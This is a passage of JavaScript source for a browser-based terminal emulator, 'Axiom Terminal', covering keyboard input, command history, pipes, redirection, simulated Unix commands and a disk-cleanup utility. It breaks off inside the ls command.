    "content": "/**\n * Axiom Terminal Application\n * Main application manifest and command processor\n */\n\nclass AxiomTerminal {\n    constructor() {\n        this.commandHistory = [];\n        this.historyIndex = -1;\n        this.commands = new Map();\n        this.aliases = new Map();\n        this.outputElement = null;\n        this.statusElement = null;\n        this.initialized = false;\n        this.currentInput = '';\n        this.cursorPosition = 0;\n        this.currentInputLine = null;\n        this.editorMode = false;\n        this.uiNotepad = null;\n        \n        this.registerCommands();\n        this.loadAliases();\n        this.loadHistory();\n    }\n\n    async initialize() {\n        // Get DOM elements\n        this.outputElement = document.getElementById('terminal-output');\n        this.statusElement = document.getElementById('system-status');\n\n        // Set up keyboard listener for entire page\n        document.addEventListener('keydown', this.handleKeyDown.bind(this));\n        \n        // Set up context menu\n        this.setupContextMenu();\n        \n        // Boot the system\n        try {\n            const bootManager = new BootManager();\n            await bootManager.initialize();\n            \n            // Initialize interrupt handler\n            window.axiomInterrupts = new InterruptHandler();\n            await window.axiomInterrupts.initialize();\n            \n            // Initialize instruction set\n            window.axiomInstructions = new InstructionSet();\n            \n            // Initialize UI Notepad\n            this.uiNotepad = new UINotepad(this);\n            \n            this.initialized = true;\n            this.updateStatus('Ready');\n            this.createInputLine();\n            \n        } catch (error) {\n            this.printLine(`BOOT ERROR: ${error.message}`, 'output-error');\n            this.updateStatus('Boot Failed');\n        }\n    }\n\n    createInputLine() {\n        // Remove any existing cursors to prevent duplication\n        const existingCursors = document.querySelectorAll('.cursor');\n        existingCursors.forEach(cursor => cursor.remove());\n        \n        // Remove old input line if exists\n        if (this.currentInputLine && this.currentInputLine.parentNode) {\n            this.currentInputLine.remove();\n        }\n        \n        this.currentInputLine = document.createElement('div');\n        this.currentInputLine.className = 'input-line';\n        \n        const promptSpan = document.createElement('span');\n        promptSpan.className = 'input-prompt';\n        promptSpan.textContent = window.axiomEnv.get('PS1');\n        \n        const inputSpan = document.createElement('span');\n        inputSpan.className = 'input-text';\n        inputSpan.textContent = '';\n        \n        const cursor = document.createElement('span');\n        cursor.className = 'cursor blink';\n        cursor.textContent = ' ';\n        \n        this.currentInputLine.appendChild(promptSpan);\n        this.currentInputLine.appendChild(inputSpan);\n        this.currentInputLine.appendChild(cursor);\n        \n        this.outputElement.appendChild(this.currentInputLine);\n        this.currentInput = '';\n        this.cursorPosition = 0;\n        this.updateInputDisplay();\n        this.scrollToBottom();\n    }\n\n    updateInputDisplay() {\n        if (!this.currentInputLine) return;\n        \n        const inputSpan = this.currentInputLine.querySelector('.input-text');\n        const cursor = this.currentInputLine.querySelector('.cursor');\n        \n        if (!inputSpan || !cursor) return;\n        \n        // Split input at cursor position\n        const beforeCursor = this.currentInput.substring(0, this.cursorPosition);\n        const atCursor = this.currentInput.substring(this.cursorPosition, this.cursorPosition + 1);\n        const afterCursor = this.currentInput.substring(this.cursorPosition + 1);\n        \n        // Update display\n        inputSpan.textContent = beforeCursor;\n        \n        // Cursor shows character under it, or space if at end\n        cursor.textContent = atCursor || ' ';\n        \n        // Add text after cursor\n        let afterSpan = this.currentInputLine.querySelector('.after-cursor');\n        if (afterCursor.length > 0) {\n            if (!afterSpan) {\n                afterSpan = document.createElement('span');\n                afterSpan.className = 'after-cursor';\n                cursor.after(afterSpan);\n            }\n            afterSpan.textContent = afterCursor;\n        } else {\n            if (afterSpan) afterSpan.remove();\n        }\n    }\n\n    handleKeyDown(event) {\n        // Don't handle keys when in editor mode\n        if (this.editorMode) return;\n        \n        if (!this.initialized || !this.currentInputLine) return;\n\n        // Navigation keys\n        if (event.key === 'ArrowLeft') {\n            event.preventDefault();\n            if (this.cursorPosition > 0) {\n                this.cursorPosition--;\n                this.updateInputDisplay();\n            }\n            return;\n        } else if (event.key === 'ArrowRight') {\n            event.preventDefault();\n            if (this.cursorPosition < this.currentInput.length) {\n                this.cursorPosition++;\n                this.updateInputDisplay();\n            }\n            return;\n        } else if (event.key === 'Home') {\n            event.preventDefault();\n            this.cursorPosition = 0;\n            this.updateInputDisplay();\n            return;\n        } else if (event.key === 'End') {\n            event.preventDefault();\n            this.cursorPosition = this.currentInput.length;\n            this.updateInputDisplay();\n            return;\n        }\n\n        // Command execution\n        if (event.key === 'Enter') {\n            event.preventDefault();\n            const command = this.currentInput.trim();\n            \n            // Finalize current line\n            const inputSpan = this.currentInputLine.querySelector('.input-text');\n            const cursor = this.currentInputLine.querySelector('.cursor');\n            const afterSpan = this.currentInputLine.querySelector('.after-cursor');\n            \n            if (inputSpan) inputSpan.textContent = this.currentInput;\n            if (cursor) cursor.remove();\n            if (afterSpan) afterSpan.remove();\n            \n            this.currentInputLine = null;\n            this.currentInput = '';\n            this.cursorPosition = 0;\n            \n            if (command) {\n                // Don't duplicate if same as last command\n                const lastCommand = this.commandHistory[this.commandHistory.length - 1];\n                if (command !== lastCommand) {\n                    this.commandHistory.push(command);\n                    this.saveHistory();\n                }\n                this.historyIndex = this.commandHistory.length;\n                this.executeCommand(command);\n            } else {\n                this.createInputLine();\n            }\n            return;\n        }\n        \n        // History navigation\n        if (event.key === 'ArrowUp') {\n            event.preventDefault();\n            if (this.historyIndex > 0) {\n                this.historyIndex--;\n                this.currentInput = this.commandHistory[this.historyIndex];\n                this.cursorPosition = this.currentInput.length;\n                this.updateInputDisplay();\n            }\n            return;\n        } else if (event.key === 'ArrowDown') {\n            event.preventDefault();\n            if (this.historyIndex < this.commandHistory.length - 1) {\n                this.historyIndex++;\n                this.currentInput = this.commandHistory[this.historyIndex];\n            } else {\n                this.historyIndex = this.commandHistory.length;\n                this.currentInput = '';\n            }\n            this.cursorPosition = this.currentInput.length;\n            this.updateInputDisplay();\n            return;\n        }\n        \n        // Tab completion\n        if (event.key === 'Tab') {\n            event.preventDefault();\n            this.handleTabCompletion();\n            return;\n        }\n        \n        // Control commands\n        if (event.ctrlKey && event.key === 'c') {\n            // Check if there's a text selection\n            const selection = window.getSelection();\n            if (selection && selection.toString().length > 0) {\n                // Allow default copy behavior\n                return;\n            }\n            \n            // Otherwise, handle as interrupt\n            event.preventDefault();\n            const inputSpan = this.currentInputLine.querySelector('.input-text');\n            const cursor = this.currentInputLine.querySelector('.cursor');\n            const afterSpan = this.currentInputLine.querySelector('.after-cursor');\n            \n            if (inputSpan) inputSpan.textContent = this.currentInput;\n            if (cursor) cursor.remove();\n            if (afterSpan) afterSpan.remove();\n            \n            this.currentInputLine = null;\n            this.currentInput = '';\n            this.cursorPosition = 0;\n            \n            this.printLine('^C', 'output-warning');\n            this.createInputLine();\n            return;\n        } else if (event.ctrlKey && event.key === 'l') {\n            event.preventDefault();\n            this.clearScreen();\n            this.createInputLine();\n            return;\n        }\n        \n        // Backspace\n        if (event.key === 'Backspace') {\n            event.preventDefault();\n            if (this.cursorPosition > 0) {\n                this.currentInput = this.currentInput.substring(0, this.cursorPosition - 1) + \n                                   this.currentInput.substring(this.cursorPosition);\n                this.cursorPosition--;\n                this.updateInputDisplay();\n            }\n            return;\n        }\n        \n        // Delete\n        if (event.key === 'Delete') {\n            event.preventDefault();\n            if (this.cursorPosition < this.currentInput.length) {\n                this.currentInput = this.currentInput.substring(0, this.cursorPosition) + \n                                   this.currentInput.substring(this.cursorPosition + 1);\n                this.updateInputDisplay();\n            }\n            return;\n        }\n        \n        // Regular character input\n        if (event.key.length === 1 && !event.ctrlKey && !event.altKey && !event.metaKey) {\n            event.preventDefault();\n            this.currentInput = this.currentInput.substring(0, this.cursorPosition) + \n                               event.key + \n                               this.currentInput.substring(this.cursorPosition);\n            this.cursorPosition++;\n            this.updateInputDisplay();\n            return;\n        }\n    }\n\n    handleTabCompletion(inputSpan) {\n        const input = inputSpan.textContent;\n        const parts = input.split(' ');\n        const lastPart = parts[parts.length - 1];\n\n        if (parts.length === 1) {\n            // Command completion\n            const matches = Array.from(this.commands.keys()).filter(cmd => \n                cmd.startsWith(lastPart)\n            );\n            \n            if (matches.length === 1) {\n                inputSpan.textContent = matches[0];\n                this.focusInput();\n            } else if (matches.length > 1) {\n                const cursor = this.currentInputLine.querySelector('.cursor');\n                if (cursor) cursor.remove();\n                this.currentInputLine = null;\n                this.printLine(matches.join('  '));\n                this.createInputLine();\n                inputSpan.textContent = lastPart;\n                this.focusInput();\n            }\n        } else {\n            // File/directory completion\n            try {\n                const currentDir = window.axiomContainer.getCurrentDirectory();\n                const children = window.axiomContainer.listDirectory(currentDir);\n                const matches = children\n                    .filter(child => child.name.startsWith(lastPart))\n                    .map(child => child.name);\n                \n                if (matches.length === 1) {\n                    parts[parts.length - 1] = matches[0];\n                    inputSpan.textContent = parts.join(' ');\n                    this.focusInput();\n                } else if (matches.length > 1) {\n                    const cursor = this.currentInputLine.querySelector('.cursor');\n                    if (cursor) cursor.remove();\n                    this.currentInputLine = null;\n                    this.printLine(matches.join('  '));\n                    this.createInputLine();\n                    inputSpan.textContent = input;\n                    this.focusInput();\n                }\n            } catch (e) {\n                // Silent fail\n            }\n        }\n    }\n\n    async executeCommand(commandLine) {\n        // Check for pipes\n        if (commandLine.includes('|')) {\n            await this.executePipeline(commandLine);\n            return;\n        }\n        \n        // Check for output redirection\n        let outputFile = null;\n        let appendMode = false;\n        let errorFile = null;\n        \n        if (commandLine.includes('>>')) {\n            const parts = commandLine.split('>>');\n            commandLine = parts[0].trim();\n            outputFile = parts[1].trim();\n            appendMode = true;\n        } else if (commandLine.includes('2>')) {\n            const parts = commandLine.split('2>');\n            commandLine = parts[0].trim();\n            errorFile = parts[1].trim();\n        } else if (commandLine.includes('>')) {\n            const parts = commandLine.split('>');\n            commandLine = parts[0].trim();\n            outputFile = parts[1].trim();\n            appendMode = false;\n        }\n        \n        // Parse command\n        const parts = this.parseCommand(commandLine);\n        \n        if (parts.length === 0) {\n            this.createInputLine();\n            return;\n        }\n        \n        const commandName = parts[0];\n        const args = parts.slice(1);\n\n        // Check for alias\n        const actualCommand = this.aliases.get(commandName) || commandName;\n        const command = this.commands.get(actualCommand);\n        \n        if (!command) {\n            const errorMsg = `Command not found: ${commandName}`;\n            if (errorFile) {\n                try {\n                    window.axiomContainer.writeFile(errorFile, errorMsg + '\\n', false);\n                } catch (e) {\n                    this.printLine(`bash: ${e.message}`, 'output-error');\n                }\n            } else {\n                this.printLine(errorMsg, 'output-error');\n            }\n            this.createInputLine();\n            return;\n        }\n\n        try {\n            // Prevent redirect loops\n            if (outputFile && outputFile.length > 4096) {\n                throw new Error('Output file path too long');\n            }\n            \n            // Capture output if redirecting\n            if (outputFile) {\n                const originalPrintLine = this.printLine.bind(this);\n                let capturedOutput = '';\n                const maxOutputSize = 1024 * 1024; // 1MB limit\n                \n                this.printLine = (text) => {\n                    if (capturedOutput.length + (text || '').length > maxOutputSize) {\n                        throw new Error('Output size limit exceeded');\n                    }\n                    capturedOutput += String(text || '') + '\\n';\n                };\n                \n                await command.handler(args);\n                \n                this.printLine = originalPrintLine;\n                \n                // Write to file\n                try {\n                    window.axiomContainer.writeFile(outputFile, capturedOutput, appendMode);\n                } catch (e) {\n                    this.printLine(`bash: ${e.message}`, 'output-error');\n                }\n            } else {\n                await command.handler(args);\n            }\n        } catch (error) {\n            const errorMsg = `Error: ${error.message}`;\n            if (errorFile) {\n                try {\n                    window.axiomContainer.writeFile(errorFile, errorMsg + '\\n', false);\n                } catch (e) {\n                    this.printLine(`bash: ${e.message}`, 'output-error');\n                }\n            } else {\n                this.printLine(errorMsg, 'output-error');\n            }\n        }\n        \n        // Create new input line after command execution (if not already created)\n        if (!this.currentInputLine) {\n            this.createInputLine();\n        }\n    }\n\n    async executePipeline(commandLine) {\n        const commands = commandLine.split('|').map(cmd => cmd.trim());\n        \n        // Limit number of pipes to prevent DoS\n        if (commands.length > 20) {\n            this.printLine('Error: Too many pipes (max 20)', 'output-error');\n            this.createInputLine();\n            return;\n        }\n        \n        let data = '';\n        const maxPipeDataSize = 512 * 1024; // 512KB limit\n        \n        for (let i = 0; i < commands.length; i++) {\n            const cmdLine = commands[i];\n            const parts = this.parseCommand(cmdLine);\n            \n            if (parts.length === 0) continue;\n            \n            const commandName = parts[0];\n            const args = parts.slice(1);\n            \n            const actualCommand = this.aliases.get(commandName) || commandName;\n            const command = this.commands.get(actualCommand);\n            \n            if (!command) {\n                this.printLine(`Command not found: ${commandName}`, 'output-error');\n                this.createInputLine();\n                return;\n            }\n            \n            try {\n                // Capture output for piping\n                const originalPrintLine = this.printLine.bind(this);\n                let capturedOutput = '';\n                \n                this.printLine = (text) => {\n                    if (capturedOutput.length > maxPipeDataSize) {\n                        throw new Error('Pipe data size limit exceeded (512KB)');\n                    }\n                    capturedOutput += String(text || '') + '\\n';\n                };\n                \n                // If not first command, pass previous data as input\n                if (i > 0 && data) {\n                    // For commands that read files, we'll simulate stdin\n                    await this.executePipeCommand(command, args, data);\n                } else {\n                    await command.handler(args);\n                }\n                \n                this.printLine = originalPrintLine;\n                data = capturedOutput.trim();\n                \n            } catch (error) {\n                const originalPrintLine = this.printLine.bind(this);\n                this.printLine = originalPrintLine;\n                this.printLine(`Error: ${error.message}`, 'output-error');\n                this.createInputLine();\n                return;\n            }\n        }\n        \n        // Print final output\n        if (data) {\n            this.printLine(data);\n        }\n        \n        this.createInputLine();\n    }\n\n    async executePipeCommand(command, args, inputData) {\n        // Handle piped input for different command types\n        // For now, we'll treat inputData as lines to process\n        window.axiomPipeData = inputData;\n        await command.handler(args);\n        delete window.axiomPipeData;\n    }\n\n    parseCommand(commandLine) {\n        // Sanitize input\n        commandLine = String(commandLine || '').trim();\n        \n        // Limit command length to prevent DoS\n        if (commandLine.length > 10000) {\n            throw new Error('Command too long (max 10000 characters)');\n        }\n        \n        // Block null bytes\n        if (commandLine.includes('\\0') || commandLine.includes('\\x00')) {\n            throw new Error('Invalid command: null bytes not allowed');\n        }\n        \n        // Simple command parser\n        const parts = [];\n        let current = '';\n        let inQuotes = false;\n        \n        for (let i = 0; i < commandLine.length; i++) {\n            const char = commandLine[i];\n            \n            if (char === '\"' || char === \"'\") {\n                inQuotes = !inQuotes;\n            } else if (char === ' ' && !inQuotes) {\n                if (current) {\n                    parts.push(current);\n                    current = '';\n                }\n            } else {\n                current += char;\n            }\n        }\n        \n        // Limit number of arguments\n        if (parts.length > 1000) {\n            throw new Error('Too many arguments (max 1000)');\n        }\n        \n        if (current) {\n            parts.push(current);\n        }\n        \n        return parts;\n    }\n\n    expandWildcards(pattern, currentDir = null) {\n        // Expand wildcards like *, ?, [abc]\n        const dir = currentDir || window.axiomContainer.getCurrentDirectory();\n        \n        // If no wildcards, return as-is\n        if (!pattern.includes('*') && !pattern.includes('?') && !pattern.includes('[')) {\n            return [pattern];\n        }\n        \n        try {\n            const files = window.axiomContainer.listDirectory(dir);\n            const regex = new RegExp('^' + pattern\n                .replace(/\\./g, '\\\\.')\n                .replace(/\\*/g, '.*')\n                .replace(/\\?/g, '.')\n                .replace(/\\[([^\\]]+)\\]/g, '[$1]') + '$');\n            \n            const matches = files\n                .map(f => f.name)\n                .filter(name => regex.test(name));\n            \n            return matches.length > 0 ? matches : [pattern];\n        } catch (e) {\n            return [pattern];\n        }\n    }\n\n    hasCommonFlag(args, ...flags) {\n        // Check if any of the common Unix flags are present\n        return args.some(arg => {\n            if (!arg.startsWith('-')) return false;\n            // Support both -rf and -r -f\n            return flags.some(flag => arg.includes(flag.replace('-', '')));\n        });\n    }\n\n    filterFlags(args, knownFlags = []) {\n        // Separate flags from arguments\n        const flags = [];\n        const params = [];\n        \n        for (const arg of args) {\n            if (arg.startsWith('-') && arg !== '--help' && arg !== '-h') {\n                flags.push(arg);\n            } else {\n                params.push(arg);\n            }\n        }\n        \n        return { flags, params };\n    }\n\n    registerCommands() {\n        // System commands\n        this.registerCommand('help', this.cmd_help.bind(this), 'Display available commands', '[command]');\n        this.registerCommand('clear', this.cmd_clear.bind(this), 'Clear the terminal screen', '');\n        this.registerCommand('exit', this.cmd_exit.bind(this), 'Exit the terminal', '');\n        this.registerCommand('history', this.cmd_history.bind(this), 'Show command history', '');\n        this.registerCommand('cleanup', this.cmd_cleanup.bind(this), 'Clean up disk space (history, temp files, cache)', '[-y]', {\n            '-y': 'Automatic yes to prompts (skip confirmation)'\n        });\n        \n        // File commands\n        this.registerCommand('ls', this.cmd_ls.bind(this), 'List directory contents', '[-l] [-a] [path]', {\n            '-l': 'Use long listing format',\n            '-a, -A': 'Show hidden files (starting with .)',\n            '-h': 'Human-readable file sizes'\n        });\n        this.registerCommand('cd', this.cmd_cd.bind(this), 'Change directory', '[directory]');\n        this.registerCommand('pwd', this.cmd_pwd.bind(this), 'Print working directory', '');\n        this.registerCommand('cat', this.cmd_cat.bind(this), 'Display file contents', '<file>', {\n            '-n': 'Number all output lines'\n        });\n        this.registerCommand('echo', this.cmd_echo.bind(this), 'Display text', '<text> [> file]');\n        this.registerCommand('touch', this.cmd_touch.bind(this), 'Create empty file', '<file> [file2...]');\n        this.registerCommand('mkdir', this.cmd_mkdir.bind(this), 'Create directory', '<directory> [dir2...]', {\n            '-p': 'Create parent directories as needed'\n        });\n        this.registerCommand('rm', this.cmd_rm.bind(this), 'Remove file', '<file> [file2...]', {\n            '-r, -R': 'Remove directories recursively',\n            '-f': 'Force removal, ignore errors',\n            '-rf': 'Recursive force remove (common combo)'\n        });\n        this.registerCommand('rmdir', this.cmd_rmdir.bind(this), 'Remove directory', '<directory> [dir2...]');\n        this.registerCommand('cp', this.cmd_cp.bind(this), 'Copy file', '<source> <destination>', {\n            '-r': 'Copy directories recursively',\n            '-v': 'Verbose mode (show what is being copied)'\n        });\n        this.registerCommand('mv', this.cmd_mv.bind(this), 'Move/rename file', '<source> <destination>', {\n            '-v': 'Verbose mode (show what is being moved)'\n        });\n        this.registerCommand('find', this.cmd_find.bind(this), 'Find files', '[path] [pattern]');\n        this.registerCommand('grep', this.cmd_grep.bind(this), 'Search in files', '<pattern> <file>', {\n            '-i': 'Ignore case distinctions',\n            '-v': 'Invert match (show non-matching lines)',\n            '-c': 'Count matching lines only'\n        });\n        this.registerCommand('head', this.cmd_head.bind(this), 'Display first lines of file', '[-n lines] <file>', {\n            '-n <num>': 'Print first <num> lines (default: 10)'\n        });\n        this.registerCommand('tail', this.cmd_tail.bind(this), 'Display last lines of file', '[-n lines] <file>', {\n            '-n <num>': 'Print last <num> lines (default: 10)'\n        });\n        this.registerCommand('wc', this.cmd_wc.bind(this), 'Word count', '<file>');\n        \n        // System info commands\n        this.registerCommand('uname', this.cmd_uname.bind(this), 'System information', '[-a]');\n        this.registerCommand('whoami', this.cmd_whoami.bind(this), 'Current user', '');\n        this.registerCommand('date', this.cmd_date.bind(this), 'Display date and time', '');\n        this.registerCommand('uptime', this.cmd_uptime.bind(this), 'System uptime', '');\n        this.registerCommand('free', this.cmd_free.bind(this), 'Memory information', '');\n        this.registerCommand('df', this.cmd_df.bind(this), 'Disk space information', '');\n        this.registerCommand('ps', this.cmd_ps.bind(this), 'Process status', '');\n        this.registerCommand('top', this.cmd_top.bind(this), 'System monitor', '');\n        \n        // Environment commands\n        this.registerCommand('env', this.cmd_env.bind(this), 'Environment variables', '');\n        this.registerCommand('export', this.cmd_export.bind(this), 'Set environment variable', '<VAR=value>');\n        this.registerCommand('unset', this.cmd_unset.bind(this), 'Unset environment variable', '<variable>');\n        \n        // CPU commands\n        this.registerCommand('cpuinfo', this.cmd_cpuinfo.bind(this), 'Display CPU information', '');\n        this.registerCommand('lscpu', this.cmd_lscpu.bind(this), 'Display CPU architecture', '');\n        \n        // Network commands\n        this.registerCommand('wget', this.cmd_wget.bind(this), 'Download file from URL', '<url> [-O file]', {\n            '-O <file>': 'Write downloaded content to specified file'\n        });\n        this.registerCommand('curl', this.cmd_curl.bind(this), 'Transfer data from URL', '<url> [-o file]', {\n            '-o <file>': 'Write output to file instead of stdout'\n        });\n        this.registerCommand('ping', this.cmd_ping.bind(this), 'Test network connectivity', '<host>');\n        this.registerCommand('netstat', this.cmd_netstat.bind(this), 'Network statistics', '');\n        \n        // System utilities\n        this.registerCommand('man', this.cmd_man.bind(this), 'Display manual page', '<command>');\n        this.registerCommand('which', this.cmd_which.bind(this), 'Show command path', '<command>');\n        this.registerCommand('alias', this.cmd_alias.bind(this), 'Create command alias', '[name=command]');\n        this.registerCommand('ln', this.cmd_ln.bind(this), 'Create symbolic link', '[-s] <target> <link>', {\n            '-s': 'Create symbolic link (soft link)'\n        });\n        this.registerCommand('sort', this.cmd_sort.bind(this), 'Sort lines of text', '<file>');\n        this.registerCommand('uniq', this.cmd_uniq.bind(this), 'Report unique lines', '<file>');\n        this.registerCommand('diff', this.cmd_diff.bind(this), 'Compare files', '<file1> <file2>');\n        this.registerCommand('tree', this.cmd_tree.bind(this), 'Display directory tree', '[path] [-a] [-d] [-L level] [-f]', {\n            '-a': 'Show all files including hidden',\n            '-d': 'List directories only',\n            '-L <level>': 'Limit depth of recursion',\n            '-f': 'Print full path prefix for each file'\n        });\n        \n        // Environment UI\n        this.registerCommand('ui-notepad', this.cmd_ui_notepad.bind(this), 'Text editor (notepad-style)', '<file>');\n    }\n\n    registerCommand(name, handler, description, usage = '', flags = {}) {\n        this.commands.set(name, { handler, description, usage, flags });\n    }\n\n    checkHelp(args, commandName) {\n        if (args.includes('--help') || args.includes('-h')) {\n            const cmd = this.commands.get(commandName);\n            if (cmd) {\n                this.printLine(`Usage: ${commandName} ${cmd.usage}`, 'output-info');\n                this.printLine(`Description: ${cmd.description}`);\n                \n                if (cmd.flags && Object.keys(cmd.flags).length > 0) {\n                    this.printLine('');\n                    this.printLine('Options:', 'output-info');\n                    for (const [flag, desc] of Object.entries(cmd.flags)) {\n                        this.printLine(`  ${flag.padEnd(12)} ${desc}`);\n                    }\n                }\n            }\n            return true;\n        }\n        return false;\n    }\n\n    // Command implementations\n    async cmd_help(args) {\n        if (args.length > 0) {\n            const cmd = this.commands.get(args[0]);\n            if (cmd) {\n                this.printLine(`${args[0]}: ${cmd.description}`);\n            } else {\n                this.printLine(`Unknown command: ${args[0]}`, 'output-error');\n            }\n            return;\n        }\n\n        this.printLine('Available commands:');\n        this.printLine('');\n        \n        const categories = {\n            'System': ['help', 'clear', 'exit', 'history', 'cleanup'],\n            'Files': ['ls', 'cd', 'pwd', 'cat', 'echo', 'touch', 'mkdir', 'rm', 'rmdir', 'cp', 'mv', 'find', 'grep', 'head', 'tail', 'wc'],\n            'Network': ['wget', 'curl', 'ping', 'netstat'],\n            'System Info': ['uname', 'whoami', 'date', 'uptime', 'free', 'df', 'ps', 'top', 'cpuinfo', 'lscpu'],\n            'Utilities': ['man', 'which', 'alias', 'ln', 'sort', 'uniq', 'diff'],\n            'Environment': ['env', 'export', 'unset'],\n            'Environment UI': ['ui-notepad']\n        };\n\n        for (const [category, commands] of Object.entries(categories)) {\n            this.printLine(`${category}:`, 'output-info');\n            for (const cmdName of commands) {\n                const cmd = this.commands.get(cmdName);\n                if (cmd) {\n                    this.printLine(`  ${cmdName.padEnd(12)} - ${cmd.description}`);\n                }\n            }\n            this.printLine('');\n        }\n    }\n\n    async cmd_clear(args) {\n        this.clearScreen();\n        // Clear will be followed by createInputLine from executeCommand\n    }\n\n    async cmd_exit(args) {\n        this.printLine('Goodbye!', 'output-success');\n        this.initialized = false;\n        // Remove current input line\n        if (this.currentInputLine) {\n            this.currentInputLine.remove();\n            this.currentInputLine = null;\n        }\n    }\n\n    async cmd_history(args) {\n        if (this.checkHelp(args, 'history')) return;\n        \n        this.commandHistory.forEach((cmd, index) => {\n            this.printLine(`${(index + 1).toString().padStart(4)} ${cmd}`);\n        });\n    }\n\n    loadHistory() {\n        try {\n            // Try to load from file system first\n            if (window.axiomContainer && window.axiomContainer.exists('/var/log/history.log')) {\n                const historyData = window.axiomContainer.readFile('/var/log/history.log');\n                this.commandHistory = JSON.parse(historyData);\n                return;\n            }\n            \n            // Fallback: migrate from localStorage if exists\n            const stored = localStorage.getItem('axiom_history');\n            if (stored) {\n                this.commandHistory = JSON.parse(stored);\n                // Migrate to file system\n                this.saveHistory();\n                // Clean up old localStorage\n                localStorage.removeItem('axiom_history');\n            }\n        } catch (e) {\n            console.warn('Failed to load history:', e);\n        }\n    }\n\n    saveHistory() {\n        try {\n            // Keep last 1000 commands\n            const historyToSave = this.commandHistory.slice(-1000);\n            const historyData = JSON.stringify(historyToSave);\n            \n            // Ensure /var/log directory exists\n            if (!window.axiomContainer.exists('/var')) {\n                window.axiomContainer.createDirectory('/var', true);\n            }\n            if (!window.axiomContainer.exists('/var/log')) {\n                window.axiomContainer.createDirectory('/var/log', true);\n            }\n            \n            // Save to file system (will be compressed automatically by VMContainer)\n            window.axiomContainer.writeFile('/var/log/history.log', historyData);\n        } catch (e) {\n            console.warn('Failed to save history:', e);\n        }\n    }\n\n    async cmd_cleanup(args) {\n        if (this.checkHelp(args, 'cleanup')) return;\n        \n        const autoConfirm = args.includes('-y');\n        \n        this.printLine('Axiom Disk Cleanup Utility', 'output-info');\n        this.printLine('');\n        \n        // Calculate sizes\n        let totalFreed = 0;\n        \n        // History size (from file system)\n        let historySize = 0;\n        try {\n            if (window.axiomContainer.exists('/var/log/history.log')) {\n                const historyData = window.axiomContainer.readFile('/var/log/history.log');\n                historySize = new Blob([historyData]).size;\n            }\n        } catch (e) {\n            historySize = 0;\n        }\n        this.printLine(`Command history: ${historySize} bytes`);\n        \n        // Aliases size (from file system)\n        let aliasesSize = 0;\n        try {\n            if (window.axiomContainer.exists('/etc/aliases')) {\n                const aliasesData = window.axiomContainer.readFile('/etc/aliases');\n                aliasesSize = new Blob([aliasesData]).size;\n            }\n        } catch (e) {\n            aliasesSize = 0;\n        }\n        this.printLine(`Aliases: ${aliasesSize} bytes`);\n        \n        // Temp files\n        let tempSize = 0;\n        let tempCount = 0;\n        try {\n            if (window.axiomContainer.exists('/tmp')) {\n                const tempFiles = window.axiomContainer.listDirectory('/tmp');\n                tempFiles.forEach(file => {\n                    if (file.type === 'file') {\n                        tempSize += file.size;\n                        tempCount++;\n                    }\n                });\n            }\n        } catch (e) {}\n        this.printLine(`Temporary files: ${tempCount} files, ${tempSize} bytes`);\n        \n        // File system cache overhead\n        const fsData = localStorage.getItem('axiom_fs') || '';\n        const currentSize = new Blob([fsData]).size;\n        this.printLine(`File system: ${currentSize} bytes`);\n        \n        this.printLine('');\n        this.printLine(`Total reclaimable space: ${historySize + aliasesSize + tempSize} bytes`);\n        this.printLine('');\n        \n        if (!autoConfirm) {\n            this.printLine('Run with -y flag to proceed with cleanup', 'output-warning');\n            return;\n        }\n        \n        // Perform cleanup\n        this.printLine('Cleaning up...', 'output-info');\n        \n        // Clear history\n        this.commandHistory = [];\n        this.historyIndex = -1;\n        try {\n            if (window.axiomContainer.exists('/var/log/history.log')) {\n                window.axiomContainer.deleteFile('/var/log/history.log');\n            }\n        } catch (e) {}\n        totalFreed += historySize;\n        this.printLine('✓ Cleared command history', 'output-success');\n        \n        // Clear temp files\n        if (tempCount > 0) {\n            try {\n                const tempFiles = window.axiomContainer.listDirectory('/tmp');\n                for (const file of tempFiles) {\n                    if (file.type === 'file') {\n                        window.axiomContainer.deleteFile(file.path);\n                    }\n                }\n                totalFreed += tempSize;\n                this.printLine(`✓ Deleted ${tempCount} temporary files`, 'output-success');\n            } catch (e) {\n                this.printLine(`✗ Failed to clean temp files: ${e.message}`, 'output-error');\n            }\n        }\n        \n        // Optimize storage\n        try {\n            window.axiomContainer.saveToStorage();\n            this.printLine('✓ Optimized file system storage', 'output-success');\n        } catch (e) {\n            this.printLine(`✗ Failed to optimize storage: ${e.message}`, 'output-error');\n        }\n        \n        this.printLine('');\n        this.printLine(`Cleanup complete! Freed ${totalFreed} bytes`, 'output-success');\n        \n        const stats = window.axiomContainer.getStorageStats();\n        this.printLine(`Disk usage: ${stats.usedPercent}% (${stats.used} / ${stats.total} bytes)`, 'output-info');\n    }\n\n    async cmd_ls(args) {\n        if (this.checkHelp(args, 'ls')) return;\n        \n        const { flags, params } = this.filterFlags(args);\n        const showHidden = this.hasCommonFlag(args, '-a', '-A');\n        const longFormat = this.hasCommonFlag(args, '-l');\n        const humanReadable = this.hasCommonFlag(args, '-h');\n        \n        const path = params[0] || '.';\n        \n        try {\n            let children = window.axiomContainer.listDirectory(path);\n            \n            // Filter hidden files if not -a\n            if (!showHidden) {\n                children = children.filter(c => !c.name.startsWith('.'));\n            }\n            \n            if (longFormat) {\n                for (const child of children) {\n                    const date = new Date(child.modified).toISOString().split('T')[0];\n                    const size = child.size.toString().padStart(8);\n                    \n                    // Colorful file names based on type\n                    let nameClass = 'file-name';\n                    let nameDisplay = child.name;\n                    \n                    if (child.type === 'directory') {\n                        nameClass = 'directory-name';\n                        nameDisplay += '/';\n                    } else if (child.name.endsWith('.sh') || child.name.endsWith('.exe')) {\n                        nameClass = 'executable-name';\n                    } else if (child.name.match(/\\.(zip|tar|gz|bz2|7z|rar)$/)) {\n                        nameClass = 'archive-name';\n                    } else if (child.name.match(/\\.(jpg|jpeg|png|gif|svg|bmp)$/)) {\n                        nameClass = 'image-name';\n                    } else if (child.name.match(/\\.(txt|md|log)$/)) {\n                        nameClass = 'text-name';\n                    }\n                    \n                    const name = `<span class=\"${nameClass}\">${nameDisplay}</span>`;\n                    \n                    this.printLine(\n                        `<span class=\"file-permissions\">${child.permissions}</span>` +\n                        `<span class=\"file-size\">${size}</span>` +\n                        `<span class=\"file-date\">${date}</span>` +\n                        name\n                    );\n                }\n            } else {\n                const names = children.map(c => {\n                    let nameClass = 'file-name';\n                    let nameDisplay = c.name;\n                    \n                    if (c.type === 'directory') {\n                        nameClass = 'directory-name';\n                        nameDisplay += '/';\n                    } else if (c.name.endsWith('.sh') || c.name.endsWith('.exe')) {\n                        nameClass = 'executable-name';\n                    } else if (c.name.match(/\\.(zip|tar|gz|bz2|7z|rar)$/)) {\n                        